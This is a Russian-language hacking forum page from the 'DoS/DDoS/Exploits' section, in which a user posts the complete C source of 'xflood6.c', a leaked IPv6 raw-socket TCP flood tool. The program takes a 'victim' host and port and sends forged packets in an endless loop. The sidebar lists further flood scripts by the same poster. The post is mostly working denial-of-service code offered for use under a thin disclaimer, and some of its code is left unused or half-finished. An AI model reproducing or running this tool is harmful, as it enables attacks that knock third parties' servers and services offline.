Главная Форум Файлы Статьи СОСТАВ ZH&ZHS О НАС GITHUB КАНАЛ YouTube BlackList WhiteList
Добро пожаловать на уникальный игровой портал ZETA-HACK TEAM! Здесь Вы сможете найти самые интересные новости из мира игровой индустрии, найти самые свежие сотфины для различных онлайн игр, общаясь на форуме получать мнения специалистов и помогать тем кто не смог получить нужный ответ в той или иной сфере!
Авторизация Регистрация
Последние обсуждаемые темы на форуме
Последние комментарии к новостям
Топ-10 форумчан
L4 imperium.c =AlexDrift= 0
L4 esp.c =AlexDrift= 0
L4 massacre.c =AlexDrift= 0
L4 kgb.c =AlexDrift= 0
L7 GHP.php (GET | HEAD &#... =AlexDrift= 0
ZAP.c =AlexDrift= 0
TCP-SE.c =AlexDrift= 0
CSYNC.c =AlexDrift= 0
[L4] MIX-AMP.c =AlexDrift= 0
IGMP.C =AlexDrift= 0
ExtremeX DM 27.05.2020
ExtremeX DM 22.05.2020
ExtremeX DM 09.05.2020
ExtremeX DM 09.05.2020
ExtremeX DM 09.05.2020
ExtremeX DM 09.05.2020
ExtremeX DM 09.05.2020
ExtremeX DM 09.05.2020
ExtremeX DM 09.05.2020
ExtremeX DM 09.05.2020
1. =AlexDrift= 662
2. Pahanch1kkk 46
3. AdCKuY_DpO4uLa 37
4. InFerNo 35
5. R4DUGA 32
6. d1amondl1on 31
7. [NACIONAL]IST_BERZ 23
8. Julia 21
9. Lil_Jonson 17
10. Effect 15
Витрина ссылок Купить ссылку (4 р.) » | Ваша ссылка | Ваша ссылка | Ваша ссылка | Ваша ссылка | Ваша ссылка | Ваша ссылка | Ваша ссылка

  • Страница 1 из 1
  • 1
Форум » Hacking и все что с ним связано » DoS/DDoS/Exploits » xflood6.c
xflood6.c
27.06.2020 в 23:23
#1
=AlexDrift=
Не важны козыри если игра не на счет...
Статус: Offline
Регистрация: 24.11.2012
Сообщения: 662
Репутация: 85
Что бы добавить медаль "Легенда портала" добавляем в ?if "or 1='ID пользователя'"
Что бы добавить медаль "Золотой страж" добавляем в ?if "or 1='ID пользователя'"
Код
//leaked by storm@efnet
//xflood6.c

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <signal.h>
#include <string.h>

#define ENDIAN_LITTLE

int rawsock = 0;
unsigned int start;
unsigned int packets = 0;
unsigned short databytes = 0;
static struct sockaddr_in6 ss;

unsigned short
csum (unsigned short *addr, int len)
{
  int nleft = len;
  unsigned int sum = 0;
  unsigned short *w = addr;
  unsigned short answer = 0;

  while (nleft > 1)
    {
      sum += *w++;
      nleft -= 2;
    }
  if (nleft == 1)
    {
      *(unsigned char *) (&answer) = *(unsigned char *) w;
      sum += answer;
    }
  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  answer = ~sum;
  return (answer);
}

struct tcphdr2
{
  unsigned short th_sport;   /* source port */
  unsigned short th_dport;   /* destination port */
  unsigned int th_seq;      /* sequence number */
  unsigned int th_ack;      /* acknowledgement number */
  unsigned char th_x2:4;   /* (unused) */
  unsigned char th_off:4;   /* data offset */
  unsigned char th_flags;
  unsigned short th_win;   /* window */
  unsigned short th_sum;   /* checksum */
  unsigned short th_urp;   /* urgent pointer */
};

struct ip
{
#ifdef ENDIAN_LITTLE
  unsigned int ip_hl:4;      /* header length */
  unsigned int ip_v:4;      /* version */
#else
  unsigned int ip_v:4;      /* version */
  unsigned int ip_hl:4;      /* header length */
#endif
  unsigned char ip_tos;      /* type of service */
  unsigned short ip_len;   /* total length */
  unsigned short ip_id;      /* identification */
  unsigned short ip_off;   /* fragment offset field */
#define IP_RF 0x8000      /* reserved fragment flag */
#define IP_DF 0x4000      /* dont fragment flag */
#define IP_MF 0x2000      /* more fragments flag */
#define IP_OFFMASK 0x1fff   /* mask for fragmenting bits */
  unsigned char ip_ttl;      /* time to live */
  unsigned char ip_p;      /* protocol */
  unsigned short ip_sum;   /* checksum */
  struct in_addr ip_src, ip_dst;   /* source and dest address */
};

struct ph
{            /* rfc 793 tcp pseudo-header */
  unsigned long saddr, daddr;
  char mbz;
  char ptcl;
  unsigned short tcpl;
};

struct tcp_opthdr
{
  unsigned char op0;
  unsigned char op1;
  unsigned char op2;
  unsigned char op3;
  unsigned char op4;
  unsigned char op5;
  unsigned char op6;
  unsigned char op7;
/* we only need this if we use window scaling and timestamps */
#ifdef WSCALE
  unsigned char op8;
  unsigned char op9;
  unsigned char op10;
  unsigned char op11;
  unsigned char op12;
  unsigned char op13;
  unsigned char op14;
  unsigned char op15;
  unsigned char op16;
  unsigned char op17;
  unsigned char op18;
  unsigned char op19;
#endif
};

struct
{
  char buf[1551];      /* 64 kbytes for the packet */
  char ph[1551];      /* 64 bytes for the paeudo header packet */
} tcpbuf;

unsigned int
lookup (char *hostname)
{
  struct hostent *name;
  unsigned int address;

  if ((address = inet_addr (hostname)) != -1)
    return address;
  if ((name = gethostbyname (hostname)) == NULL)
    return -1;

  memcpy (&address, name->h_addr, name->h_length);
  return address;
}

int
lookup6 (char *addr)
{
  struct addrinfo hints, *res;
  int error;

  memset (&hints, 0, sizeof (hints));
  hints.ai_socktype = SOCK_STREAM;
  error = getaddrinfo (addr, NULL, &hints, &res);

  if (error)
    {
      fprintf (stderr, "%s - error resolving\n", addr);
      return 1;
    }

  memcpy (&ss, res->ai_addr, res->ai_addrlen);
  freeaddrinfo (res);

  return 0;
}

void
handle_exit ()
{
  printf ("Flood completed, %d packets sent, %d seconds, %d packets/sec\n",
     packets, time (NULL) - start, packets / (time (NULL) - start));
  exit (0);
}

void
attack (unsigned short dstport, unsigned short srcport, unsigned short flags)
{

  int sockfd, retval, offset = 8;
  unsigned char packet[128];

  struct tcphdr2 *tcp = (struct tcphdr2 *) packet;

  setsockopt (rawsock, IPPROTO_IPV6, IPV6_CHECKSUM, &offset, sizeof (offset));

  tcp->th_sport = htons (srcport);
  tcp->th_dport = htons (dstport);

  tcp->th_seq = htonl (rand ());
  tcp->th_ack = htonl (rand ());
  tcp->th_off = 5;
  tcp->th_flags = flags;
  tcp->th_win = htons (65535);
  tcp->th_urp = 0;
  tcp->th_sum = 2;

  for (;;)
    {

      sendto (rawsock, packet, sizeof (struct tcphdr2), 0,
         (struct sockaddr *) &ss, sizeof (struct sockaddr_in6));
      packets++;
    }

}

main (int argc, char **argv)
{
  unsigned int srcip, dstip;
  unsigned short dstport, srcport;
  unsigned char flags;

/* parse arguments */
  if (argc < 5)
    {
      printf ("usage : %s dest destport srcport flags [size]\n\n", argv[0]);
      printf ("dest       = the victim ip/host\n");
      printf ("destport   = port to attack on the victim\n");
      printf ("srcport    = port which the packets will come from\n");
      printf ("flags      = tcp packet flags\n");
      printf ("size       = tcp packet size (not inc header)\n");

      exit (0);
    }

/* allocate socket */

  rawsock = socket (AF_INET6, SOCK_RAW, IPPROTO_TCP);

  if (rawsock <= 0)
    {
      printf ("Error opening raw socket\n");
      exit (-1);
    }

  lookup6 (argv[1]);

  if (argv[5])
    {
      databytes = atoi (argv[5]);
    }
  else
    {
      databytes = 0;
    }
  dstport = atoi (argv[2]);
  srcport = atoi (argv[3]);
  flags = atoi (argv[4]);

  signal (SIGINT, handle_exit);
  signal (SIGTERM, handle_exit);
  signal (SIGQUIT, handle_exit);
  start = time (NULL);

  attack (dstport, srcport, flags);

}[/size]

В ЛС не отвечу, даже не старайтесь. Все вопросы на форум, создавайте тему там ответим....
Форум » Hacking и все что с ним связано » DoS/DDoS/Exploits » xflood6.c
  • Страница 1 из 1
  • 1
Поиск:

условия предоставления
Авторские права и контакты
счетчики
счетчики
счетчики
Файлы, статьи, публикации на форуме предоставлены исключительно в ознакомительных целях. Все материалы принадлежат исключительно их владельцам! Администрация портала не несет ответственности за последствия использования вами сторонних материалов, опубликованных на форуме, каталоге файлов, каталоге статей, но гарантирует отсутствие вредоносного кода в новостях и публикациях на главной. Напоминаем:Весь материал публикуется только для ознакомительных целей! Администрация не несёт ответственности за размещённые материалы. Все материалы предоставлены в ознакомительных целях и администрация предлагает удалить их после ознакомления.
  • Основатель портала - AlexDrift
  • Автор дизайна, разработчик - Lil Jonson
  • По возникшим вопросам дизайна - liljonson682@gmail.com
  • По всем возникшим вопросам - vk.com/alexdrift1137
  • Уникальный игровой портал ZETA-HACK.RU ® 2011 - 2019
  • Сайт создан в системе uCoz

  • Яндекс.Метрика
    Рейтинг@Mail.ru